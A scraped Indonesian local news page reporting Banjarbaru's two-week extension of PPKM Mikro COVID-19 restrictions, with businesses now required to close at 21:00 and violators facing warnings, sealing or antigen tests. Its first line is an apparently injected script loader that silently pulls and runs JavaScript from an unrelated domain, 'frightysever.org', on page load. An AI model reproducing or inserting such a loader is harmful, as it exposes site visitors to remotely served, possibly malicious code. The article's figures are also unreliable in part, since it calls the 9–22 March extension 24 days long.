(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

PPKM Mikro Banjarbaru Diperketat, Tempat Usaha Harus Tutup Pukul 9 Malam!


KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) resmi memperpanjang masa Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) Mikro dua pekan. Hal itu tertuang dalam Peraturan Wali Kota (Perwali) Banjarbaru Nomor 300/2/KUM/2021 .

Adapun perpanjangan PPKM Mikro di Banjarbaru berlangsung dari tanggal 9 hingga 22 Maret mendatang atau selama 24 hari lamanya.

Wali Kota Banjarbaru, Aditya Mufti Ariffin, mengungkapkan bahwa keputusan memperpanjang PPKM Mikro merupakan hasil kesepakatan Pemko Banjarbaru dengan seluruh unsur Forum Komunikasi Pimpinan Daerah (Forkopimda) maupun Satgas Covid-19. Dalam hal ini ia menyebut ada dua faktor yang melandasi keputusan tersebut.

“Pertama, angka kasus Covid-19 di Banjarbaru belum mengalami penurunan. Kedua, hasil evaluasi kita melihat bahwa masyarakat cenderung tidak menerapakan protokol kesehatan 3M,” katanya kepada Kanalkalimantan, Jumat (14/3/2021).

Dalam perpanjangan masa PPKM Mikro, ujar Aditya, pihaknya lebih ketat dalam memberlakukan aturan. Kebijakan yang sebelumnya mengharuskan seluruh tempat usaha baik itu cafe, restoran, maupun tempat hiburan tutup pada pukul 22.00 Wita, kini telah diubah.

“Jika PPKM sebelumnya tempat usaha wajib tutup dan menghentikan kegiatan pukul 22.00 Wita. Nah, untuk yang baru ini kita majukan jadi pukul 21.00 Wita. Jadi lebih kita perketat,” bebernya.

Pembatasan jam kegiatan ini juga berlaku di fasilitas umum, seperti halnya di taman-taman perkotaan. Serta pusat berbelanja baik itu mall maupun toko-toko retail.

Selain itu, Wali Kota Banjarbaru juga menegaskan bahwa pihaknya tak akan segan memberikan sanksi keras kepada mereka yang melanggar batasan waktu yang berlaku selama berlangsungnya PPKM. Dalam hal ini sanksi yang diberikan, mulai dari teguran kepada para pemilik hingga terancam ditutup tempat usahanya.

“Pertama kita berikan teguran keras dulu. Tapi kalau masih mengindahkan, maka tempat usahanya akan kita segel sementara waktu. Masyarakat atau pengunjung yang melanggar juga akan kita tes swab antigen,” tuntas Aditya. (kanalkalimantan.com/rico)

 

Reporter : Rico
Editor : Bie

 

 


Al Ghifari

Recent Posts

Waspada Hujan Disertai Petir dan Gelombang Tinggi di Kalsel

KANALKALIMANTAN.COM, BANJARBARU – Cuaca di Kalimantan Selatan (Kalsel) dalam sepekan ke depan diprakirakan masih didominasi… Read More

25 menit ago

BPBD Balangan Gelar Pelatihan TRC PB Tahap II di Batakan

KANALKALIMANTAN.COM, PARINGIN - Badan Penanggulangan Bencana Daerah (BPBD) Kabupaten Balangan menuntaskan tahap II pelatihan Tim… Read More

33 menit ago

1 Ramadan Resmi Jatuh Kamis 19 Februari

KANALKALIMANTAN.COM, JAKARTA — Kementerian Agama Republik Indonesia (Kemenag RI) resmi menetapkan 1 Ramadan 1447 Hijriah… Read More

13 jam ago

Hilal di Kalsel Tidak Terlihat, 1 Ramadan Menunggu Keputusan Pusat

KANALKALIMANTAN.COM, BANJARMASIN — Kantor Wilayah (Kanwil) Kementerian Agama Provinsi Kalimantan Selatan (Kemenag Kalsel) menggelar pemantauan… Read More

15 jam ago

Arti Warna Merah dalam Tradisi Imlek

KANALKALIMANTAN.COM, BANJARMASIN - Dalam perayaan Tahun Baru Imlek, ada banyak warna merah menghiasi segala aspek… Read More

20 jam ago

Ini Makna di Balik Shio Kuda Api Imlek 2026

KANALKALIMANTAN.COM, BANJARMASIN – Kuda Api menjadi shio di tahun baru Imlek 2026. Apa makna di… Read More

23 jam ago

This website uses cookies.